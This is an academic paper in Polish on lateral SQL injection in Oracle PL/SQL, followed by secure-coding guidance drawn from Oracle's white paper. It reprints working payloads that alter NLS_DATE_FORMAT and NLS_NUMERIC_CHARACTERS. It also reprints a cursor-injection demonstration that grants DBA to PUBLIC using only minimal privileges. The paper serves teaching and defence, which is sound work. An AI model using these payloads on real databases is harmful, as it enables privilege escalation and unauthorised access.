STUDIA INFORMATICA 2009
Volume 30 Number 2B (84)

Anna KOTULLA
Politechnika Śląska, Instytut Informatyki

BOCZNE WSTRZYKIWANIE KODU SQL

Streszczenie. Jednym z rodzajów ataków poprzez aplikacje korzystające z baz danych jest wstrzykiwanie przekazywanego przez aplikacje do baz danych kodu SQL. W rozdziale omówiono nowy wariant wstrzykiwania kodu SQL, tak zwane boczne wstrzykiwanie kodu SQL. Wskazane zostały również metody ochrony przed atakiem tą metodą.

Słowa kluczowe: bezpieczeństwo baz danych, wstrzykiwanie kodu SQL, iniekcja kodu SQL, boczne wstrzykiwnie kodu SQL

LATERAL SQL INJECTION

Summary. One of the methods to attack through the web applications with a database in the data layer is the injection of SQL code, which is transferred from the application to the database. A new technique of SQL injection, the lateral SQL injection, is discussed in this paper. This paper describes also the methods to protect again this kind of SQL injection.

Keywords: database security, SQL injection, lateral SQL injection

1. Wstęp

Jedną z metod atakowania baz danych jest wstrzykiwanie (iniekcję) kodu SQL (ang. *SQL injection*). W pierwszej części rozdziału scharakteryzowano ogólnie grupę ataków przez wstrzykiwanie kodu SQL. Boczne wstrzykiwanie kodu SQL (ang. *lateral SQL injection*), któremu poświęcony jest rozdział, jest nową metodą ataków przez wstrzykiwanie kodu SQL, nazywanych także atakami przez iniekcję kodu SQL.

Jako boczne wstrzykiwanie kodu SQL określa się grupę ataków, które wymierzone są w kod PL/SQL. Wskazano również, jak bronić się przed tego rodzaju atakami.

2. Ogólna charakterystyka ataków przez wstrzykiwanie kodu SQL

Ataki metodą iniekcji kodu SQL [1, 2, 4, 5, 6, 7, 8, 9], jedna z metod ataku na systemy baz danych polega na skłonieniu bazy danych do wykonania niepożądanego kodu SQL, który wprowadzony został przez zmianę istniejących zapytań SQL w taki sposób, aby zawierały one dodatkowe elementy. Zmodyfikowane zapytania SQL wprowadzane są przez – najczęściej internetowe – aplikacje, które korzystają z baz danych. Jeżeli aplikacja w niedostateczny sposób sprawdza wprowadzone dane, wbudowuje je do zapytań SQL i wysyła do wykonania do bazy danych. Otrzymany wynik zapytania (czasem celowo wymuszona informacja o błędzie) zwracany jest użytkownikowi przez aplikację.

Termin *SQL Injection* pojawił się pod koniec 1999 roku, jego wprowadzenie przypisuje się Chipowi Andrewsowi w jego artykule „*SQL Injection FAQ*", opublikowanym na *SQL-Security.com*.

Pierwsze informacje [7] na temat ataków przez wstrzykiwanie kodu SQL pojawiły się w grudniu 1998 w 54 wydaniu czasopisma *Phrack*.

2.1. Przykład ataku metodą iniekcji kodu SQL

Załóżmy [6], że w bazie danych istnieje tabela pracownicy, a jej kolumnami są m.in. *nazwisko*, *imie*, *data_urodzenia*, *data_zatrudnienia*, natomiast intencją autora było zwrócenie wartości kolumny data_zatrudnienia dla podanego imienia i nazwiska pracownika, to dane wstawiane są w odpowiednie pola formularza. Wówczas dane mogą być przekazywanie przez URL o postaci

```
http://chroniona_strona/przykladowy_skrypt.php?nazw=<podane_nazwisko>&imie=<poda
ne_imie>
```

Jeżeli aplikacja wbudowuje przekazane dane do zapytania

```
SELECT data_zatrudnienia
FROM pracownicy
WHERE nazwisko='podane_nazwisko' AND imie='podane_imie'
```

Atakujący, w przypadku kiedy nie jest sprawdzane, jakiego typu dane zostają przekazywane, może próbować zmodyfikować zapytanie, na przykład w taki sposób:

```
http://chroniona_strona/przykladowy_skrypt.php?nazwisko=<podane_nazwisko_razem_z
_dodatkowym_kodem_SQL>&imie=<podane_imie>
```

W przypadku braku kontroli przekazywanych danych, zmodyfikowane w sposób przewidziany przez atakującego zapytanie SQL przekazane zostanie do bazy danych.

3. Boczne wstrzykiwanie kodu SQL

3.1. Charakterystyka metody ataku

Termin boczne wstrzykiwanie kodu SQL (ang. *lateral SQL injection*) wprowadzony został po raz pierwszy na początku 2008 roku przez Litchfielda [9]. Litchfield, prezentując boczne wstrzykiwanie kodu SQL, jako pierwszy pokazał, że ataki metodą iniekcji kodu SQL odbywać się mogą przez dane typu *DATE* czy *NUMBER DATA*; wcześniej sądzono, że podatne są jedynie dane typu *string*.

Technika ataku zagraża bazom danych Oracle, wykorzystuje bowiem luki w języku PL/SQL (proceduralny SQL, ang. *Procedual Language SQL*). PL/SQL jest rozszerzeniem języka SQL, opracowanym przez Oracle i ze względu na swoje właściwości – połączenie szybkości oferowanej przez SQL z łatwością programowania proceduralnego – jest często stosowany w środowisku baz danych Oracle.

Poniższy fragment kodu [9] przedstawia procedurę *date_proc*, która – biorąc pod uwagę typy używanych danych – do niedawna uchodziła jako całkowicie bezpieczna:

```
create or replace procedure date_proc is
stmt varchar2(200);
v_date date:=sysdate;
begin
stmt:='select object_name from all_objects where created = ''' ||
v_date || '''';
dbms_output.put_line(stmt);
execute immediate stmt;
end;
/
```

Procedura *date_proc_2* [9] jest bardzo zbliżona do procedury *date_proc*, różnica występuje przy dacie, w procedurze *date_proc_2* jest zmienną typu *DATE*.

Podchodząc do wstrzykiwania kodu SQL w sposób dotychczas typowy, otrzymuje się błąd, ponieważ zmienna jest typu *DATE*, a nie *VARCHAR* [9]:

```
SQL> exec date_proc_2(''' and scott.getdba()=1--');
BEGIN date_proc(''' and scott.getdba()=1--'); END;
ERROR at line 1:
ORA-01841: (full) year must be between -4713 and +9999, and not be 0
ORA-06512: at line 1
```

Aby atak mógł się powieść, trzeba sprawić, że kompilator PL/SQL zaakceptuje wartość jako datę. W przypadku posiadania przywileju *ALTER SESSION* można dokonać tego w następujący sposób [9]:

```
SQL> ALTER SESSION SET NLS_DATE_FORMAT = '"'' and scott.getdba()=1--"';
Session altered.
SQL> exec date_proc_2(''' and scott.getdba()=1--');
*
ERROR at line 1:
ORA-00904: "SCOTT"."GETDBA": invalid identifier
ORA-06512: at "SYS.DATE_PROC_2", line 5
```

```
ORA-06512: at line 1
```

Zauważyć należy, że błąd pochodzi od procedury *date_proc_2*, która próbowała wykonać funkcję *scott.getdba*. Aby atak przeprowadzony mógł być w całości, konieczne jest stworzenie przez atakującego procedury *scott.getdba* lub zastosowania ataku metodą iniekcji kursora, dalsze informacje dostępne są w [11].

Procedura *date_proc* nie zawiera parametrów, posiada za to zmienną *v_date* typu *DATE*, która wywołuje funkcję *SYSDATE*. Po wykonaniu instrukcji

```
SQL> ALTER SESSION SET NLS_DATE_FORMAT = '"dowolny tekst """;
Session altered.
```

otrzymuje się następującą wartość dla *SYSDATE*:

```
SQL> SELECT SYSDATE FROM DUAL;
SYSDATE
------------------------
dowolny tekst '
```

W wyniku wykonania teraz [9] procedury *date_proc*,

```
SQL> EXEC DATE_PROC();
BEGIN DATE_PRC(); END;
```

otrzymuje się następujący komunikat o błędzie:

```
ERROR at line 1:
ORA-01756: quoted string not properly terminated
ORA-06512: at "SYS.DATE_PRC", line 7
ORA-06512: at line 1
```

Litchfield [9] demonstruje, jak wstrzyknąć kursor przy zastosowaniu powyższych informacji i użyciu procedury *date_proc*:

```
SQL> SET SERVEROUTPUT ON
SQL> DECLARE
2 N NUMBER;
3 BEGIN
4 N:=DBMS_SQL.OPEN_CURSOR();
5 DBMS_SQL.PARSE(N,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN
EXECUTE IMMEDIATE ''GRANT DBA TO PUBLIC''; END;',0);
6 DBMS_OUTPUT.PUT_LINE('Cursor is: '|| N);
7 END;
8 /
Cursor is: 4
PL/SQL procedure successfully completed.
SQL> ALTER SESSION SET NLS_DATE_FORMAT = '"'' AND
DBMS_SQL.EXECUTE(4)=1--"';
Session altered.
SQL> EXEC DATE_PROC();
select object_name from all_objects where CREATED = '' AND
DBMS_SQL.EXECUTE(4)=1--'
PL/SQL procedure successfully completed.
```

Drugim z - dotychczas uznawanych za bezpieczne – typów danych, w którego przypadku możliwe jest boczne wstrzykiwanie kodu SQL, jest typ *NUMBER*. Ten typ danych może zostać tak zmanipulowany, że dopuszczalne będzie używanie apostrofów:

```
create procedure num_proc(n number) is
stmt varchar2(2000);
begin
stmt:='select object_name from all_objects where object_id = ' || n;
execute immediate stmt;
end;
/
SQL> ALTER SESSION SET NLS_NUMERIC_CHARACTERS = '''.' ;
SQL> SELECT TO_NUMBER( 100000.10001, '999999D99999') FROM DUAL;
TO_NUMBER(100000.10001,'999999D99999')
--------------------------------------
100000'1
SQL> exec num_proc(TO_NUMBER( 100000.10001, '999999D99999'));
BEGIN num_proc(TO_NUMBER( 100000.10001, '999999D99999')); END;
*
ERROR at line 1:
ORA-01756: quoted string not properly terminated
ORA-06512: at "SYS.NUM_PROC", line 5
ORA-06512: at line 1
```

Początkowo uważano, że ataki przez boczne wstrzykiwanie kodu SQL wymagają określonych przywilejów, konkretnie przywileju *ALTER SESSION*, co ogranicza możliwości ataku. Litchfield [10] pokazał jednak, testując z najnowszą wersją 11g Release 1, uaktualnioną przez wgranie dostępnych łat, że nie są niezbędne żadne szczególne przywileje, wystarczy przywilej *CREATE SESSION* (minimalny przywilej):

```
C:\>sqlplus /nolog
SQL*Plus: Release 11.1.0.6.0 - Production on Fri Jan 16 10:05:23 2009
Copyright (c) 1982, 2007, Oracle. All rights reserved.
SQL> connect test/test
Connected.
SQL> select * from session_privs;
PRIVILEGE
----------------------------------------
CREATE SESSION
SQL> alter session set sql_trace = true;
alter session set sql_trace = true
*
ERROR at line 1:
ORA-01031: insufficient privileges
SQL> alter session set nls_date_format='"'' and nowa_funkcja()=1--"';
Session altered.
SQL> select sysdate from dual;
SYSDATE
------------------
' and nowa_funkcja ()=1--
SQL>
```

Powyższy przykład pokazuje, że nawet przy minimalnym przypisanym przywileju możliwe jest wykonanie ataku przez boczne wstrzykiwanie kodu SQL.

Finnigan [3] wskazuje, że przywilej *ALTER SESSION* jest generalnie potencjalnie niebezpieczny i poleca sprawdzanie, czy możliwie jest odebranie użytkownikom tego przywileju. Finnigan zademonstrował również, że większość poleceń zaczynających się od *ALTER SESSION* jest możliwych do wykonania bez posiadania przywileju *ALTER SESSION*.

Odkryte przez Litchfielda luki są znane od niedawna, ich wykorzystanie wymaga sporej wiedzy na temat baz danych Oracle i specyficznego podejścia. Litchfield zauważył, że boczne wstrzykiwanie kodu SQL może być wykorzystane przy atakach typu cursor-snarfing.

Cenna dla programistów jest publikacja przygotowana na temat bezpiecznego PL/SQL przez Oracle [13]. Fakt wydania tego opracowania pokazuje również, że należy się liczyć z wykorzystaniem opisanych w rozdziale luk.

3.2. Obrona przed bocznym wstrzykiwaniem kodu SQL i innymi typami wstrzykiwania kodu SQL w języku PL/SQL

Oracle przygotował dokument [13] instruujący, w jaki sposób tworzyć kod PL/SQL, który jest odporny na ataki metodą iniekcji kodu SQL, w tym także na boczne wstrzykiwanie kodu SQL. W kompendium [13], którego aktualna wersja opublikowana została w grudniu 2008, przedstawiono i zilustrowano zestaw reguł, które pozwalają tworzyć kod PL/SQL odporny na ataki metodą wstrzykiwania kodu SQL. Wybrane zasady tworzenia bezpiecznego kodu wy-mienione zostały poniżej.

Jakość kodu PL/SQL poprawia się w przypadku używania zmiennych dla pośrednich (tymczasowych) wartości. Zmiennym takim należy przypisać określoną wartość początkową.

Projektanci i programiści powinny pamiętać o różnicy pomiędzy dynamicznym szablonem SQL a statycznym szablonem SQL. Przykład podany za [13] zawiera dynamiczne szablony SQL:

```
function Col_List return varchar2 is
type cn is varray(20) of varchar2(30);
Col_Names constant cn :=
cn('c1', 'c2', 'c3', 'c4', ..., 'c20');
Seen_One boolean := false;
List varchar2(32767);
begin
for j in 1..Wanted.Count() loop
if Wanted(j) then
List :=
List
|| case Seen_One when true then '||'
else ''
end
|| 'Rpad('||Col_Names(j)||', 10)';
Seen_One := true;
end if;
end loop;
return List;
end Col_List;
```

List zawiera statyczne wyrażenia PL/SQL typu *varchar2*. Konstruktor *varray*(*20*) pozwala założyć, że tabela *My Table* posiada 20 kolumn. Dla takiej tabeli istnieje zbiór ponad miliona potencjalnych możliwych wyrażeń SQL – zbyt wiele, by wszystkie mogły być sprawdzone. Istnieje 20 jednoznacznych szablonów SQL - każdy z nich jest przykładem dynamicznego szablonu SQL; jeden z nich to:

```
select Rpad(&&1, 10)||Rpad(&&2, 10)||Rpad(&&3, 10) Report
from "My Table" where PK = :b
```

Statyczne szablony SQL są łatwiejsze do sprawdzenia pod kątem potencjalnych luk.

Potencjalnie zagrożone atakiem przez wstrzykiwanie kodu SQL są te fragmenty, które zawierają dynamicznie tworzony kod SQL.

Przywileje przypisane użytkownikom dedykowanych aplikacjom muszą być dokładnie kontrolowane – nie powinien być możliwy bezpośredni dostęp do obiektów innych użytkowników, takich jak tabele czy widoki.

Zapobiegać lukom umożliwiającym ataki metodą iniekcji kodu SQL należy już w fazie projektowania systemu. Preferowane być powinno używanie wbudowanego SQL.

Preferowane powinny być takie deklaracje SQL, które po skompilowaniu nie ulegają zmianie (ang. *compile-time-fixed SQL statement*). Jeżeli nie jest to możliwe, używać należy w przypadku PL/SQL opcji *execute immediate* z argumentem tworzonym jedynie za pomocą pojedynczego argumentu zdeklarowanego jako *constant* i utworzonego przy użyciu statycznego wyrażenia *varchar2*.

Nie należy rezygnować z zarezerowanych obiektów przechowujących wartości w szablonach SQL.

Dynamiczny SQL powinien wykonywać jedynie kod będący połączeniem statycznego tekstu i bezpiecznego dynamicznego tekstu. Bezpieczny dynamiczny tekst jest wynikiem jednej z trzech, opisanych dokładnie w [14], funkcji: *Simple_Sql_Name()*,*Enquote_Literal()*, *To_Char(x f, n)*. Fragment kodu wywołujący *Enquote_Literal()*, *Simple_Sql_Name()* albo *To_Char(x f, n)* znajdować powinien się blisko fragmentu kodu wykonującego te wyrażenia SQL.

Unikać należy również używania *DBMS_Utility.Exec_DDL_Statement()*.

4. Podsumowanie

Ataki metodą iniekcji kodu SQL w dalszym ciągu są poważnym zagrożeniem dla aplikacji, które korzystają z baz danych. Rozpoznawane są ciągle to nowe metody ataku i potencjalne zagrożenia. Choć najczęściej ataki metodą wstrzykiwania kodu SQL nie są skierowane przeciwko konkretnej bazie danych, ale raczej wykorzystują ogólnie uniwersalny język SQL, to istnieją jednak metody ataku, jak opisane w artykule boczne wstrzykiwanie kodu SQL, które zagraża określonej bazie danych i wykorzystuje pewien specjalny wariant języka SQL.

Bardzo ważne jest, aby podczas projektowania i pisania aplikacji zwracać uwagę również na aspekt bezpieczeństwa tworzonego kodu.

BIBLIOGRAFIA

1. Anley Ch.: Advanced SQL Injection In SQL Server Applications. An NGSSoftware Insight Security Research (NISR) Publication. Next Generation Security Software Ltd., 2002.
2. Anley Ch.: (more) Advanced SQL Injection. An NGSSoftware Insight Security Research (NISR) Publication. Next Generation Security Software Ltd., 2002.
3. Finnigan P.: Lateral SQL Injection needs no database privileges, Pete Finnigan's Oracle security weblog, 2008. http://www.petefinnigan.com/weblog/archives/00001190.htm (sprawdzono 20.01.2009).
4. Kost S.: An Introduction to SQL Injection Attacks for Oracle Developers. Integrity Corporation. Chicago 2004.
5. Kotulla A.: Przegląd zagrożeń dla systemów baz danych oraz sposoby ochrony. Konferencja Naukowa Bazy Danych: Aplikacje i Systemy, Wydawnictwa Naukowo-Techniczne, Warszawa 2008.
6. Kotulla A.: Zaawansowane metody manipulacji kodu SQL. Konferencja Naukowa Bazy Danych: Aplikacje i Systemy, Wydawnictwa Naukowo-Techniczne, Warszawa 2008.
7. Litchfield D.: Data-mining with SQL Injection and Interference. An NGSSoftware Insight Security Research (NISR) Publication. Next Generation Security Software Ltd., 2005.
8. Litchfield D., Anley Ch., Haesman J., Grindlay B.: The Database Hacker's Handbook, Defending Database Servers. Wiley Publishing, Inc., Indianapolis 2005.
9. Litchfield D.: Lateral SQL Injection: A New Class of Vulnerability in Oracle, An NGSSoftware Insight Security Research (NISR) Publication, 2008.
10. Litchfield D.: 07/18/2008: Lateral SQL Injection Revisited - No Special Privs Required, David Litchfield's Weblog, 2008. URL: http://www.davidlitchfield.com/blog/archives/-00000044.htm (sprawdzono 20.01.2009).
11. Litchfield D.: Dangling Cursor Snarfing: A New Class of Attack in Oracle. An NGSSoftware Insight Security Research (NISR) Publication. Next Generation Security Software Ltd., 2006.
12. Sharma P.: SQL Injection Techniques & Countermeasures. Department of Information.
13. Oracle: How to write SQL injection proof PL/SQL, An Oracle White Paper, 2008.
14. Oracle: Oracle® Database PL/SQL Packages and Types Reference 11g Release 1, Part Number B28419-03, URL: http://download.oracle.com/docs/cd/B28359_01/appdev.111/-b28419/index.htm (sprawdzono 19.01.2009).

Recenzent: Prof. dr hab. inż. Stanisław Wrycza

Wpłynęło do Redakcji 20 stycznia 2009 r.

Abstract

SQL injection is the name of a class of database vulnerabilities. SQL injection is a security vulnerability occurring in the database layer behind an application. A SQL injection come into existence, when the input entered by a user is not sufficient examined by the application and the prepared SQL code is forwarded to the database. Some types of SQL injection are known, the newest one – called Lateral SQL Injection - was described 2008 by David Litchfield and threatens PL/SQL (*Procedural Language/Structured Query Language*) and Oracle databases. Before introducing the Lateral SQL Injection, only the *STRING* data types were known as uncertain. The fact is that also the *DATE* and *NUMBER DATA* type are vulnerable. This article introduces the database vulnerabilities method Lateral SQL Injection and gives tips for write SQL Injection-proof PL/SQL code.

Adres

Anna KOTULLA: Politechnika Śląska, Instytut Informatyki, ul. Akademicka 16,
44-100 Gliwice, Polska, Anna.Kotulla@polsl.pl.